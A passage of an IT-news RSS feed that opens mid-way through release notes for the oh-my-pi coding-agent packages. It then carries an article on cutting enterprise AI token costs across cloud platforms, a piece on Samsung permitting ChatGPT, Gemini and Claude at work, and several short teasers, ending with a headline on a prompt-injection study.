<li>Added Azure OpenAI as a catalog provider (<code>azure</code>, default model <code>gpt-5.5</code>, env var <code>AZURE_OPENAI_API_KEY</code>), bundling the OpenAI-family models Azure serves over the Responses API (GPT-4/4.1/4o, GPT-5 family, o-series, Codex). Like Amazon Bedrock it is catalog-only — models ship in the bundle and become selectable once the env key is set, with the deployment base URL resolved at runtime from <code>AZURE_OPENAI_BASE_URL</code>/<code>AZURE_OPENAI_RESOURCE_NAME</code>.</li>
<li>Added models.dev-backed bundled catalogs for providers that previously shipped no offline models: Hugging Face, Kilo, Moonshot, NanoGPT, Synthetic, Venice, Ollama Cloud, and the Xiaomi Token Plan regions (ams/cn/sgp). They still discover live when credentialed; the bundle is now a non-empty baseline.</li>
</ul>
<h3>Changed</h3>
<ul>
<li>Updated stale provider default models to their latest bundled versions: OpenAI-family providers (<code>azure</code>, <code>github-copilot</code>, <code>aimlapi</code>) → GPT-5.5; Gemini providers (<code>google</code>, <code>google-gemini-cli</code>, <code>google-vertex</code>) → <code>gemini-3.1-pro-preview</code>; GLM providers (<code>zai</code>, <code>zhipu-coding-plan</code>) → <code>glm-5.2</code>, <code>cerebras</code> → <code>zai-glm-4.7</code>; Kimi providers (<code>fireworks</code>, <code>opencode-go</code>, <code>moonshot</code>) → <code>kimi-k2.7-code</code>, <code>kimi-code</code> → <code>kimi-for-coding</code>, <code>together</code> → <code>moonshotai/Kimi-K2.7-Code</code>; <code>alibaba-coding-plan</code> → <code>qwen3.7-plus</code>; and Claude-Sonnet defaults (<code>cloudflare-ai-gateway</code>, <code>cursor</code>, <code>gitlab-duo</code>, <code>kilo</code>, <code>opencode-zen</code>, <code>vercel-ai-gateway</code>) → Claude Opus 4.x.</li>
<li>Restricted models.dev Azure discovery to OpenAI-family IDs (<code>gpt-</code>, <code>o1</code>, <code>o3</code>, <code>o4</code>, <code>codex</code>, <code>chatgpt</code>), excluding Foundry-hosted third parties (Claude/DeepSeek/Llama/Mistral/Phi) that Azure serves through non-Responses APIs.</li>
<li>Detected the Azure OpenAI Responses compat surface (developer role, strict tool mode, strict tool-result pairing) by provider id as well as base URL, so bundled <code>azure</code> models whose deployment host is only known at runtime still get the right wire behavior.</li>
<li>Renamed the <code>Qwen3-ASR-Flash</code> model label to <code>Qwen3 ASR Flash</code></li>
</ul>
<h3>Fixed</h3>
<ul>
<li>Fixed tool syntax selection for Gemini-family and Gemma model IDs by routing them to dedicated <code>gemini</code> and <code>gemma</code> formats instead of generic XML</li>
<li>Fixed <code>zhipu-coding-plan</code> and <code>together</code> shipping no bundled models: their descriptors referenced non-existent models.dev keys (<code>zhipu-coding-plan</code>, <code>together</code>); pointed them at the real keys (<code>zhipuai-coding-plan</code>, <code>togetherai</code>) so they bundle their GLM and full catalogs respectively.</li>
<li>Folded the <code>azure-openai-responses</code> API into the OpenAI Responses thinking-inference branches so Azure reasoning models (o-series, GPT-5, Codex) resolve the discrete effort vocabulary (including <code>xhigh</code>) and effort-control mode instead of falling through to generic defaults.</li>
<li>Fixed <code>ollama-cloud</code> discovery inheriting an unsafe cross-provider <code>contextWindow</code>/<code>maxTokens</code> when <code>/api/show</code> returns no size metadata; it now falls back to the safe 128K context / 8K output caps.</li>
<li>Dropped internal Fireworks control-plane resource ids (<code>accounts/fireworks/{models,routers}/…</code>) from the bundle; only the public request ids ship.</li>
</ul>
<h2>@oh-my-pi/pi-coding-agent</h2>
<h3>Added</h3>
<ul>
<li>Unexpected stop detection: optional tiny/smol classifier that continues the turn when the assistant says it will act but emits no tool calls.</li>
<li>Settings <code>features.unexpectedStopDetection</code> and <code>providers.unexpectedStopModel</code>.</li>
</ul>
<h3>Changed</h3>
<ul>
<li>Changed the <code>job</code> poll to return early when a steering message is queued, draining the steer immediately instead of waiting out the poll window.</li>
<li>Capped unexpected-stop auto-continuation to three retry attempts before giving up on repeated stops</li>
<li>Updated the <code>edit</code> tool's hashline prompt, grammar, and docs to recommend the <code>.=</code> inclusive range separator (<code>SWAP 1.=3:</code>); the legacy <code>..</code> form still parses.</li>
<li>Normalized all internal worker argv selectors under the <code>__omp_worker_</code> prefix, skipping the async worker dispatch check during normal CLI startup.</li>
</ul>
<h3>Fixed</h3>
<ul>
<li>Filtered out whitespace-only and dot-only (<code>.</code> or <code>…</code>) assistant blocks so they are treated as empty and no longer appear as visible content in message rendering, streaming reveal counts, or session export output</li>
<li>Filtered placeholder-only thinking content from ACP notifications and message visibility checks so dot-only <code>reasoning_content</code> no longer triggers turn completion or read/run updates</li>
<li>Fixed ModelRegistry tests making outbound network calls by automatically stubbing fetch during test execution.</li>
<li>Fixed <code>eval</code> JS cells (and browser-tab worker startup) always stalling for the full init timeout — typically the cell's whole 30s budget — before silently falling back to the slower inline worker. The self-dispatching CLI host imports the worker module dynamically from its argv dispatch, so the worker's own <code>parentPort.on("message")</code> attached only after Bun flushed the messages the parent posted before spawn; the synchronously-posted <code>init</code> handshake was dropped and never answered with <code>ready</code>. The host now installs a buffering <code>parentPort</code> inbox synchronously in the entry's sync prefix (before importing the worker module) and the worker binds it on load, replaying the buffered handshake. <code>omp --smoke-test</code> now also spawns the JS eval worker through the host entry and asserts it handshakes on a real worker thread.</li>
<li>Fixed pre-prompt context-full compaction on OpenAI Responses sessions to use provider-anchored context usage when available, so large encrypted reasoning signatures no longer trigger automatic maintenance while the visible context percentage remains below threshold (<a href="https://github.com/can1357/oh-my-pi/issues/2628" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/2628/hovercard">#2628</a>).</li>
</ul>
<h2>@oh-my-pi/collab-web</h2>
<h3>Fixed</h3>
<ul>
<li>Wrapped composer button labels to display icon-only on mobile devices for a more compact and readable layout</li>
<li>Made the connect screen, ended session card, and notification toasts fully responsive for smaller device viewports</li>
<li>Fixed mobile layout issues where the entire chat flow would overflow horizontally and text was rendered too large on iOS Safari (by setting <code>text-size-adjust: 100%</code>)</li>
<li>Made transcript rows stack vertically on small screens to optimize reading space, and prevented grid track expansion</li>
<li>Hid non-essential metadata (such as the model name, thinking level, and working directory path) and context gauge tracks on mobile headers to prevent overflow</li>
</ul>
<h2>@oh-my-pi/hashline</h2>
<h3>Changed</h3>
<ul>
<li>Changed the recommended hashline range separator from <code>..</code> to <code>.=</code> (e.g. <code>SWAP 1.=3:</code>, <code>DEL 4.=5</code>) so the inclusive <code>&lt;=</code>-style end is self-evident. <code>HL_RANGE_SEP</code> is now <code>.=</code>; the prompt, grammar, error messages, and emitted headers all use it. The lenient parser still accepts the legacy <code>..</code> (and <code>-</code>/<code>…</code>/space) forms.</li>
</ul>
<h2>@oh-my-pi/omp-stats</h2>
<h3>Changed</h3>
<ul>
<li>Renamed <code>__omp_stats_sync_worker</code> to <code>__omp_worker_stats_sync</code>.</li>
</ul>
<h2>@oh-my-pi/pi-utils</h2>
<h3>Added</h3>
<ul>
<li>Added <code>installWorkerInbox(port)</code> / <code>consumeWorkerInbox()</code> to <code>@oh-my-pi/pi-utils/worker-host</code>. A self-dispatching CLI host that imports a Bun worker module dynamically attaches the worker's real <code>message</code> listener after Bun flushes the messages the parent posted before spawn, dropping a synchronously-posted <code>init</code>. The host installs this buffering inbox synchronously in the entry's sync prefix so a listener exists at flush time; the worker module consumes it and binds the real handler, replaying anything buffered.</li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/can1357/oh-my-pi/compare/v15.13.2...v15.13.3"><tt>v15.13.2...v15.13.3</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Tokenomics in enterprise AI]]></title>
<description><![CDATA[Tokenomics has quickly become one of the most practical subjects in enterprise AI. In simple terms, it is the discipline of understanding how tokens are consumed, how that consumption turns into cost and how an organization can shape usage patterns so that AI remains valuable without becoming fin...]]></description>
<link>https://tsecurity.de/de/3598713/it-security-nachrichten/tokenomics-in-enterprise-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3598713/it-security-nachrichten/tokenomics-in-enterprise-ai/</guid>
<pubDate>Mon, 15 Jun 2026 12:05:48 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Tokenomics has quickly become one of the most practical subjects in enterprise AI. In simple terms, it is the discipline of understanding how tokens are consumed, how that consumption turns into cost and how an organization can shape usage patterns so that AI remains valuable without becoming financially unpredictable. In most large language model services, every prompt, every retrieved context block, every tool description, every system instruction and every generated response contributes to the token bill. That means the economics of AI are no longer driven only by licenses or infrastructure. They are increasingly driven by usage behavior, prompt design, model choice and governance decisions. For technology leaders, this creates a new operating responsibility: they must treat tokens the way they already treat compute, storage and network consumption. Token usage needs to be measured, planned, optimized and governed with the same discipline as any other cloud resource.</p>



<h2 class="wp-block-heading">Understanding tokenomics in AI services</h2>



<p>A token is the smallest billing unit used by many AI services to represent pieces of text, code, symbols or structured content processed by the model. A single user request usually consumes input tokens and output tokens. Input tokens come from the instructions sent to the model, including the system prompt, user prompt, conversation history, retrieved documents, tool schemas and metadata. Output tokens are the tokens generated in the response. In most commercial AI services, output tokens are priced higher than input tokens, which means long and unconstrained responses can silently become one of the largest sources of waste. This matters even more in enterprise settings where thousands of requests are executed every day across assistants, search copilots, engineering agents, document summarizers, support bots and automated workflows.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large is-resized"> width="1024" height="522" sizes="auto, (max-width: 1024px) 100vw, 1024px"&gt;<figcaption class="wp-element-caption">Token optimization in AI services.</figcaption></figure><p class="imageCredit">Magesh Kasthuri</p></div>



<p>In practice, token costs are shaped by a handful of recurring patterns as per the Gartner report. The first is context inflation, where applications keep sending large prompt prefixes, verbose policy instructions, long chat history and oversized retrieval payloads on every call. The second is poor model matching, where high-end models are used for routine tasks such as classification, extraction, formatting or test data generation, even though smaller and cheaper models would do the job well. The third is response sprawl, where no output length controls are enforced and the model returns far more text than the user or process actually needs. The fourth is retry amplification, where agentic or automated workflows invoke the model repeatedly because the surrounding application lacks validation, caching or routing logic. Once AI usage expands across departments, these issues accumulate rapidly and can distort the economics of a program even when the underlying models are technically sound.</p>



<h2 class="wp-block-heading">How an organization should plan token optimization</h2>



<p>Organizations that manage AI well do not begin with model selection alone. They begin with operating intent. That means clearly identifying which use cases need premium reasoning, which use cases can tolerate lower latency or asynchronous processing, which ones need strict output controls and which ones are suitable for summarization or retrieval before generation. You can refer to <a href="https://www.linkedin.com/posts/joaquinlippincott_gartner-tokenomics-will-become-a-new-activity-7457810114641682432-bhTF/" rel="nofollow">Gartner’s</a> “Tokenomics will become a new discipline” for guidelines.</p>



<p>A sensible token optimization plan usually starts with workload segmentation. Interactive experiences such as executive copilots, complex engineering assistance or contract analysis may justify higher-quality models. Routine workloads such as log classification, regression test explanation, boilerplate documentation, FAQ answering and metadata tagging often do not. Segmenting workloads this way allows the enterprise to create a service catalog for AI usage rather than exposing every consumer to the most expensive model by default.</p>



<p>The next step is governance. Every enterprise AI platform should collect token telemetry at the request level and aggregate it by application, environment, team, model and use case. Without that visibility, optimization becomes guesswork. Leaders should define token budgets, monthly thresholds, rate limits and environment-specific quotas. It is also wise to introduce approval paths for long-context models, tool-heavy agents and experimental multi-step reasoning workflows because these patterns can multiply token consumption very quickly.</p>



<p>A mature operating model also includes prompt standards, retrieval size limits, output token caps, response templates and model routing policies. This turns token optimization into an engineering discipline rather than a one-time cost exercise. When done well, the organization creates a feedback loop where usage data improves architecture decisions and architecture decisions reduce unnecessary consumption over time.</p>



<h2 class="wp-block-heading">Core token optimization techniques across cloud AI platforms</h2>



<p>Some optimization practices are effective regardless of whether the organization is using AWS, Azure or Google Cloud. The first is prompt minimization with purpose. This does not mean making prompts unnaturally short. It means sending only the instructions and context required for the current task. Static instructions should be kept stable and separated from dynamic content. Retrieved documents should be ranked and trimmed instead of being attached in full. Tool definitions should be exposed only when needed. Few-shot examples should be used selectively and removed when they no longer improve quality. In many enterprise systems, the easiest savings come not from changing the model, but from removing repetitive and low-value prompt baggage. You can refer to Deloitte’s <a href="https://www.deloitte.com/content/dam/assets-shared/docs/services/consulting/2026/how-to-navigate-economics-of-ai.pdf" rel="nofollow">report</a> “The pivot to tokenomics” for more details on this scenario.</p>



<p>The second technique is model routing. Not every prompt deserves the largest model. A classifier, router or policy layer can evaluate the request and direct simple tasks to lighter models while reserving premium models for complex reasoning, domain-sensitive analysis or code-heavy interactions. The third technique is response shaping. If the application needs three bullet points, a JSON object, a summary or a fixed-length explanation, that expectation should be explicit. Output token controls, concise formatting instructions and schema-bound responses help contain cost while also improving consistency. The fourth technique is caching. Repeated prompt prefixes, repeated documents, repeated tool descriptions and repeated intermediate outputs should be cached wherever the platform allows it. Prompt caching can reduce the need to recompute long shared prefixes, while response caching prevents duplicate model calls for frequently repeated requests. These approaches are especially valuable in internal copilots, support bots and engineering assistants where repetitive interactions are common. AWS, Azure and Google Cloud all support variations of context or prompt caching for repeated content, which can significantly reduce repeated input-token processing when prompts share the same stable prefix.</p>



<p>The fifth technique is asynchronous and batch execution for non-urgent work. Many AI jobs inside enterprises do not need interactive response times. Offline summarization, document enrichment, code review snapshots, test case explanation, defect clustering and log interpretation can often be queued and processed later at lower cost. The sixth technique is context lifecycle management. Long conversations and agent sessions must be pruned, summarized or checkpointed instead of carrying the full history forever. If a session needs memory, a summarized state is usually cheaper than replaying every turn. In retrieval-augmented systems, only the top-ranked passages should be injected into the prompt and documents should be chunked intelligently so that the model receives the smallest high-value context possible. These changes reduce cost, improve latency and often improve answer quality because the model is forced to focus on more relevant inputs.</p>



<h2 class="wp-block-heading">Token optimization on AWS</h2>



<p>On AWS, token optimization typically centers on Amazon Bedrock and the architecture built around it. A strong starting point is model selection by task type. Bedrock gives organizations access to multiple foundation models and that creates an opportunity to route simple workloads to smaller models and reserve more capable models for difficult reasoning or coding tasks. This is often the single biggest cost lever. Another major lever is prompt caching. Amazon Bedrock supports prompt caching for supported models, allowing repeated prompt prefixes to be reused instead of being recomputed on every request. This is particularly useful when the application repeatedly sends large system instructions, policy context, product manuals or codebase guidance. Bedrock documentation explains that cached prefixes can reduce latency and lower input-token cost for repeated context, with model-specific checkpoint thresholds and time-to-live behavior. [Amazon Bedrock]() prompt caching can reduce repeated input processing when stable prompt prefixes are reused across calls.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large is-resized"> width="1024" height="575" sizes="auto, (max-width: 1024px) 100vw, 1024px"&gt;<figcaption class="wp-element-caption">Figure: Token optimization in AWS</figcaption></figure><p class="imageCredit">Magesh Kasthuri</p></div>



<p>AWS environments also benefit from separating real-time and non-real-time inference paths. Bedrock batch-style or queued processing patterns are far more economical for workloads such as nightly test artifact analysis, bulk document summarization, defect triage and generated knowledge extraction. Engineering teams should also place a policy layer in front of Bedrock to cap output size, restrict unsupported long-context prompts and enforce retrieval limits. If the application uses agentic orchestration, every tool call and every retry should be monitored because agents can consume tokens far faster than interactive human users. A practical AWS pattern is to combine Bedrock with a lightweight gateway that logs tokens per request, tags usage by environment and application and routes requests to the least expensive model that still meets quality objectives. This gives CIO and CTO teams better visibility into where token spending is justified and where it is simply accidental.</p>



<h2 class="wp-block-heading">Token optimization on Azure</h2>



<p>On Azure, token optimization is often discussed in the context of Azure OpenAI and Microsoft Foundry model services. Azure provides one of the clearest examples of prompt caching as a cost and latency lever. Microsoft documentation explains that prompt caching can reduce repeated processing of identical prompt prefixes and supported models can keep cached prefixes available for short in-memory periods or extended retention windows, depending on the model and configuration. To benefit from this, organizations must structure prompts carefully. Stable content, such as system instructions, compliance rules, coding standards or tool schemas, should appear at the beginning of the request, while variable user content should appear later. [Microsoft Foundry]() documents that prompt caching applies to supported Azure OpenAI models when prompts meet minimum length and prefix-match requirements, helping reduce latency and input-token cost.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large is-resized"> width="1024" height="295" sizes="auto, (max-width: 1024px) 100vw, 1024px"&gt;<figcaption class="wp-element-caption">Figure: Token optimization in Azure</figcaption></figure><p class="imageCredit">Magesh Kasthuri</p></div>



<p>Azure environments are also well-suited for strong observability. Organizations can capture request telemetry, prompt tokens and completion tokens through platform diagnostics and application-level logging, then correlate that usage with deployment names, environments and business applications. This makes it easier to spot noisy prompts, excessive completions or teams that are using premium models for low-value work. In mature Azure estates, leaders often separate pay-as-you-go experimentation from predictable, high-volume workloads. Stable workloads may justify reserved or provisioned capacity, while spiky or uncertain workloads can remain on variable pricing. For DevTest, Azure teams should use model allow-lists, token ceilings and shorter retention periods for conversation history. Developers should never have unrestricted access to large-context and premium reasoning deployments unless the workload genuinely requires it. Governance is most effective when prompt templates, response formats, budget thresholds and environment-level quotas are built into the platform rather than enforced only by policy documents.</p>



<h2 class="wp-block-heading">Token optimization on Google Cloud</h2>



<p>On Google Cloud, token optimization is commonly associated with Vertex AI and Gemini-based workloads. Google Cloud has emphasized context caching as a way to reduce the cost of repeatedly sending large prompt content such as detailed instructions, codebases, multimodal assets or long documents. Vertex AI supports both implicit and explicit caching patterns, which allow organizations to either benefit from automatic reuse or deliberately persist reusable context for predictable savings. Google notes that Vertex AI context caching reduces repeated token processing and can lower the cost of cached tokens for supported Gemini models, while also improving latency.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large is-resized"> width="1024" height="538" sizes="auto, (max-width: 1024px) 100vw, 1024px"&gt;<figcaption class="wp-element-caption">Figure: Token optimization in GCP</figcaption></figure><p class="imageCredit">Magesh Kasthuri</p></div>



<p>Google Cloud also offers a practical ecosystem for prompt improvement and token discipline. Vertex AI prompt optimization capabilities help teams refine prompts so that they are clearer, more compact and more effective without depending on excessive examples or unnecessary instruction text. That matters because poor prompts often lead to repeated retries, broader context injection and inflated output lengths. Another valuable pattern on GCP is workload routing through Model Garden or application logic so that lower-cost models handle straightforward summarization, extraction and routing tasks while premium models are reserved for high-value reasoning. In large enterprise deployments, teams should also use token-count estimation before execution for expensive workflows, especially when long documents, code repositories or multimodal content are involved. This creates a preflight check that can stop oversized requests before they reach production inference paths.</p>



<h2 class="wp-block-heading">Real-time example: AI-powered test failure analysis in a DevTest program</h2>



<p>Consider a large engineering organization that uses AI to analyze failed test cases during continuous integration. Every failed build triggers an AI workflow that reads stack traces, selected log fragments, recent code changes, known defect patterns and testing guidelines, then generates a root-cause summary and recommended next steps for developers. At first, the team builds the solution straightforwardly. It sends the entire recent build log, the full testing policy, the complete conversation history from the issue thread and a long instruction template to a premium model for every failure. The results are useful, but the token bill rises sharply. The reason is obvious in hindsight: the same policy content is sent repeatedly, the logs are far longer than necessary and many failures are routine enough that they do not require the most capable model.</p>



<p>Now, imagine the same workflow after token optimization. The platform first classifies the failure type. If it is a known regression signature, a smaller model handles the explanation. Only ambiguous failures go to the premium model. The testing policy and coding standards are moved into a reusable cached prefix. The log stream is preprocessed so that only the most relevant error windows and surrounding events are included. Older conversation turns are summarized into a short state object instead of being replayed in full. The response is constrained to a fixed template: probable cause, impacted component, confidence level and recommended action. If the same failure signature appears again, the prior explanation is served from the response cache unless recent code changes suggest a new interpretation. This redesigned flow typically reduces unnecessary input tokens, lowers output verbosity and improves turnaround time. More importantly, it turns AI usage into a disciplined engineering service rather than a loosely controlled experimental feature.</p>



<h2 class="wp-block-heading">How CIOs and CTOs can optimize AI usage in DevTest</h2>



<p>DevTest environments are where token waste often hides in plain sight. Teams experiment freely, prompts change often, logs are verbose and developers naturally gravitate toward the best available model because they are trying to move quickly. That is exactly why CIO and CTO leaders need a distinct DevTest token strategy rather than simply copying production policies. The goal in DevTest is not to eliminate experimentation. The goal is to make experimentation cost-aware. A sensible starting point is environment segmentation. Sandbox, development, testing, performance validation and pre-production should each have their own token budgets, model permissions and rate limits. Premium reasoning models should be limited to approved scenarios, while most routine experimentation should default to cheaper models with smaller context windows.</p>



<p>Leadership teams should also insist on a small set of operating controls. First, every DevTest AI request should be tagged with application, team, engineer, environment, model and use case so that usage can be traced accurately. Second, token ceilings should exist at both user and application level, with alerts when thresholds are crossed. Third, platform teams should provide reusable prompt templates that are already optimized for brevity, schema-based output and caching compatibility. Fourth, batch windows should be used for heavy non-interactive workloads such as codebase summarization, test artifact enrichment and bulk defect clustering. Fifth, long-running agent workflows should be monitored for retry loops and context growth, because these are common sources of runaway consumption. When these controls are present, DevTest remains innovative without turning into an uncontrolled cost sink.</p>



<p>From an executive planning perspective, CIOs and CTOs should treat AI token usage as part of both cloud FinOps and engineering governance as you can read from this forbes <a href="https://www.forbes.com/councils/forbesbusinessdevelopmentcouncil/2024/12/12/tokenomics-101-building-sustainable-economic-models/" rel="nofollow">report</a> on “Best practices for designing effective Tokenomics”. Monthly reviews should not focus only on total spend. They should examine token consumption per workflow, cost per successful outcome, model utilization by task category, cache hit rates and the percentage of requests routed to lower-cost models. Teams that repeatedly exceed expected token usage should not simply be blocked; they should be helped to redesign prompts, reduce retrieval payloads, improve orchestration logic and replace verbose responses with structured outputs. This creates a healthier operating culture. The conversation moves away from restricting AI and toward making AI economically sustainable at scale. That shift is important because enterprise AI programs succeed not when usage is unlimited, but when value and consumption stay in balance.</p>



<h2 class="wp-block-heading">Conclusion</h2>



<p>Tokenomics is now a foundational part of enterprise AI architecture. As organizations scale AI across engineering, operations, support and knowledge work, token usage becomes a direct determinant of cost, responsiveness and sustainability. The most effective organizations plan for this early. They segment workloads, match models to task complexity, constrain outputs, trim context, use caching intelligently, batch non-urgent work and govern DevTest with the same seriousness they apply to production infrastructure. AWS, Azure and GCP each provide useful mechanisms to support this approach, but the bigger advantage comes from disciplined design. When token optimization is treated as a core architectural practice, AI programs become easier to scale, easier to govern and far more likely to deliver measurable business value without waste.</p>



<p><em>This article was made possible by our partnership with the IASA </em><a href="https://chiefarchitectforum.org/" target="_blank" rel="nofollow"><em>Chief Architect Forum</em></a><em>. The CAF’s purpose is to test, challenge and support the art and science of Business Technology Architecture and its evolution over time as well as grow the influence and leadership of chief architects both inside and outside the profession. The CAF is a leadership community of the </em><a href="https://iasaglobal.org/" target="_blank" rel="nofollow"><em>IASA</em></a><em>, the leading non-profit professional association for business technology architects.</em></p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><strong><a href="https://www.cio.com/expert-contributor-network/">Want to join?</a></strong></p>



<p></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Securing Canada’s Digital Future: Why PBMM Matters Beyond Government]]></title>
<description><![CDATA[Palo Alto Networks is pleased to announce the successful completion of a new Cloud Medium security assessment conducted by the Canadian Centre for Cyber Security (Cyber Centre), significantly expanding the number of … The post Securing Canada’s Digital Future: Why…
Read more →
The post Securing C...]]></description>
<link>https://tsecurity.de/de/3597480/it-security-nachrichten/securing-canadas-digital-future-why-pbmm-matters-beyond-government/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3597480/it-security-nachrichten/securing-canadas-digital-future-why-pbmm-matters-beyond-government/</guid>
<pubDate>Sun, 14 Jun 2026 20:31:13 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Palo Alto Networks is pleased to announce the successful completion of a new Cloud Medium security assessment conducted by the Canadian Centre for Cyber Security (Cyber Centre), significantly expanding the number of … The post Securing Canada’s Digital Future: Why…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/securing-canadas-digital-future-why-pbmm-matters-beyond-government/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/securing-canadas-digital-future-why-pbmm-matters-beyond-government/">Securing Canada’s Digital Future: Why PBMM Matters Beyond Government</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Samsung reverses years-long ban on external gen AI use]]></title>
<description><![CDATA[Samsung, which has been cautious about adopting external generative AI services due to concerns over internal information leaks, is reversing course three years after banning the technology due to a highly publicized ChatGPT-related data leak.



Samsung Electronics’ DX Division will officially i...]]></description>
<link>https://tsecurity.de/de/3594536/it-nachrichten/samsung-reverses-years-long-ban-on-external-gen-ai-use/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3594536/it-nachrichten/samsung-reverses-years-long-ban-on-external-gen-ai-use/</guid>
<pubDate>Fri, 12 Jun 2026 22:47:38 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Samsung, which has been cautious about adopting external generative AI services due to concerns over internal information leaks, is reversing course three years after <a href="https://www.csoonline.com/article/575215/samsung-bans-staff-ai-use-over-data-leak-concerns.html">banning the technology</a> due to a highly publicized ChatGPT-related data leak.</p>



<p>Samsung Electronics’ DX Division will officially introduce external generative AI services, including ChatGPT, Gemini, and Claude, to its employees. The move is seen as a follow-up to Samsung Electronics Chairman Lee Jae-yong ordering an “AI transformation” across all operations of affiliated companies at the beginning of this year.</p>



<p>The company had previously been relying solely on in-house AI models.</p>



<p>Samsung Electronics announced on June 11 via press release that it is launching a full-scale “AI Transformation (AX)” by adopting leading generative AI services from global tech giants for overall business operations and transitioning its work methods to be AI-centric.</p>



<p>Samsung is known to have maintained a cautious stance toward generative AI adoption since a 2023 information security incident in which an employee uploaded work-related source code into ChatGPT, triggering a data leak controversy. However, going forward, DX Division employees will be able to use ChatGPT, Gemini, and Claude at work. Samsung explained that supporting all three services reflects “a strategic decision to ensure employees can utilize optimal tools rather than implementing AI as a one-time initiative.”</p>



<h2 class="wp-block-heading">Transforming organizational DNA</h2>



<p>The selection of the three services followed a verification process testing the effectiveness of external generative AI service candidates with approximately 2,500 employees. Through this process, Samsung Electronics aims to improve work productivity and drive innovation in how work gets done while simultaneously accelerating decision-making speed and elevating organizational execution capabilities to the next level.</p>



<p>Roh Tae-moon, president and representative of Samsung Electronics, stated: “The adoption of external generative AI is not simply providing AI as a work tool, but rather a starting point for fundamentally transforming how we work and our execution speed.”</p>



<p>He added: “By creating an environment where every employee can utilize the AI best suited to their work, we will enhance organizational execution capabilities beyond individual productivity, ultimately raising the competitiveness of the DX Division’s business.”</p>



<p>The DX Division’s adoption aligns with the group-level “AI Transformation” strategy. Samsung Group previously announced via press release on June 9 that it would implement AI across all operations of its affiliated companies. Chairman Lee Jae-yong emphasized in his 2026 New Year’s address: “We must fundamentally transform our work methods and organizational DNA,” and stressed: “We must integrate AI across the entire value chain — from R&amp;D to production, marketing, and support functions.”</p>



<h2 class="wp-block-heading">Top-down training approach</h2>



<p>Samsung is undertaking a major transformation not only integrating AI into all business processes but also fundamentally reshaping organizational DNA itself, including work methods and organizational culture at the executive and employee levels toward an AI-centric approach.</p>



<p>To this end, Samsung plans to conduct intensive AI training called “AX Boot Camp” for all executives across affiliated companies. This will be the first time Samsung conducts intensive AI training for approximately 50 executives. Samsung explained the educational initiative: “Recognizing that CEO AI literacy determines the success or failure of AX, we are implementing hands-on training where executives directly engage with and operationalize AI in their work.”</p>



<p>Following the executive tier, AI training for all executives across affiliated companies will also be conducted. The training will run until August 12 in 2-day, 3-night sessions by cohort, with approximately 2,300 executives expected to participate. Samsung plans to position this executive and manager training as the starting point for company-wide AX innovation and will continue periodic additional training to enable executives to redesign operations based on AI and lead organizational transformation. Training for all remaining employees is scheduled for completion by the end of 2026.</p>



<p>Meanwhile, Samsung announced in its press release that it plans to officially introduce external generative AI services, including Gemini, ChatGPT, and Claude, across all affiliated companies this month, suggesting that other Samsung subsidiaries beyond Samsung Electronics will also adopt the three services going forward.</p>



<p>To align with the expansion of generative AI adoption, Samsung is also establishing dedicated organizations and security systems. Samsung plans to establish dedicated AI divisions across all affiliated companies. These divisions will be responsible for formulating AX promotion strategies tailored to each company’s business characteristics, managing data and model operations, cultivating AI talent, and maximizing group-wide AX promotion capabilities.</p>



<p>Additionally, while permitting full-scale use of external generative AI, Samsung is establishing a sophisticated security framework to simultaneously achieve both “expanded AI utilization” and “risk control.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Pairing Claude Code with Local Models]]></title>
<description><![CDATA[Local models in 2026 are good enough. For the tasks Claude Code handles daily: code completion, refactoring, debugging, codebase explanation; a well-chosen quantized model running locally covers the vast majority of real use cases at zero per-token cost and with no rate limits.]]></description>
<link>https://tsecurity.de/de/3593664/ai-nachrichten/pairing-claude-code-with-local-models/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3593664/ai-nachrichten/pairing-claude-code-with-local-models/</guid>
<pubDate>Fri, 12 Jun 2026 16:05:17 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Local models in 2026 are good enough. For the tasks Claude Code handles daily: code completion, refactoring, debugging, codebase explanation; a well-chosen quantized model running locally covers the vast majority of real use cases at zero per-token cost and with no rate limits.]]></content:encoded>
</item>
<item>
<title><![CDATA[Prompt injection breaks today’s AI agents, study warns]]></title>
<description><![CDATA[Today’s AI web agents have no dependable defenses against prompt injection, according to new research showing that not a single attack scenario was consistently blocked across leading systems powered by GPT‑5 and Gemini.



The findings come from StakeBench, a stakeholder-centric benchmark develo...]]></description>
<link>https://tsecurity.de/de/3593083/it-security-nachrichten/prompt-injection-breaks-todays-ai-agents-study-warns/</link>
